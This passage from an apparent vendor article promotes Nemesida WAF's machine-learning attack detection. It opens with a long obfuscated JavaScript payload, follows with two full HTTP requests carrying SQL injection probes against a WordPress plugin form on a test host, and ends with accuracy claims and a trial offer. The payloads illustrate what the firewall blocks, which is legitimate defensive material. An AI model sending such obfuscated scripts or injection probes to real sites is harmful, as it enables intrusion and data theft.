+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[] +[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+( !![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[ ])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][ []])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+ []]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]]+(![]+[])[+!+[]])+(![]+[])[+!+[]]+([][[]]+[])[!+[]+!+[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+ [])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[ ]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]) [+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[ ])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[ +!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![ ]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[] ]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]]+(![]+[])[+!+[]])+(![]+[+![]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[[]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]]) [+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]([[]])+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]([[]])+[]+[+!+[]]+[+[]]+[[]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]] ]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]([[]])+[]+[+!+[]]+[+!+[]]+[[]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]([[]])+[]+[+!+[]]+[!+[]+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+ [])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]

The examples below (6, 7) will not lead to the direct exploitation of the vulnerability, but they can reveal the presence of vulnerabilities in the web application, so Nemesida AI will be blocked:

Example 6 — Detecting SQL Injection

POST /wp-content/plugins/testplugin/form.php HTTP/1.1
Host: vulns.pentestit.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: _ym_uid=1501589484566174132; _ym_isad=2; _ym_visorc_45042173=w
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=
Content-Length: 86

— Content-Disposition: form-data; name=«id»

1 AND 1083=1083 AND (1427=1427;
-

Example 7 - Detecting SQL Injection

POST /wp-content/plugins/testplugin/form.php HTTP/1.1
Host: vulns.pentestit.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: _ym_uid=1501589484566174132; _ym_isad=2; _ym_visorc_45042173=w
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=
Content-Length: 119

— Content-Disposition: form-data; name=«id»

1 AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))

-

Nemesida WAF: before and after training

Nemesida WAF demonstrates absolute accuracy in its work after confirming the training mode, and until this point, the identification and blocking of attacks will occur through signature analysis and chains of rules. High-quality Nemesida WAF signatures will provide decent protection for a web application for a period of training with a minimum number of false positives.

As soon as Nemesida WAF will process ~ 150k requests (approximately 30 minutes for an average web application), the training mode is completed and Nemesida AI will be activated. The signature method is disabled and from this point on, detection and blocking of attacks is carried out by the Nemesida AI module with an accuracy of ~ 99.96%.

A green image of the brain in your account indicates that Nemesida AI is activated.

Conclusion

The use of machine learning in Nemesida WAF makes it possible to achieve amazing accuracy in detecting attacks (~ 99.96%), nullify false alarms (~ 0.04%) and even determine zero-day attacks (0-day). In addition, Nemesida AI, together with Nemesida Scanner, can automatically create VirtualPatch rules, but I will tell you about it in the next article.

Nemesida WAF Artificial Intelligence is a powerful tool for detecting and blocking attacks on web applications, not just marketing or competitive advantage. To experience this in practice - request a pre-installed VM with a trial version of Nemesida WAF or activate cloud protection for 2 weeks for free.

Source: https://habr.com/ru/post/340704/

All Articles

Artificial Intelligence Nemesida WAF

Theory: the principle of work of Nemesida AI

Attacks, false positives and artificial intelligence

Nemesida WAF: before and after training

Conclusion

More articles: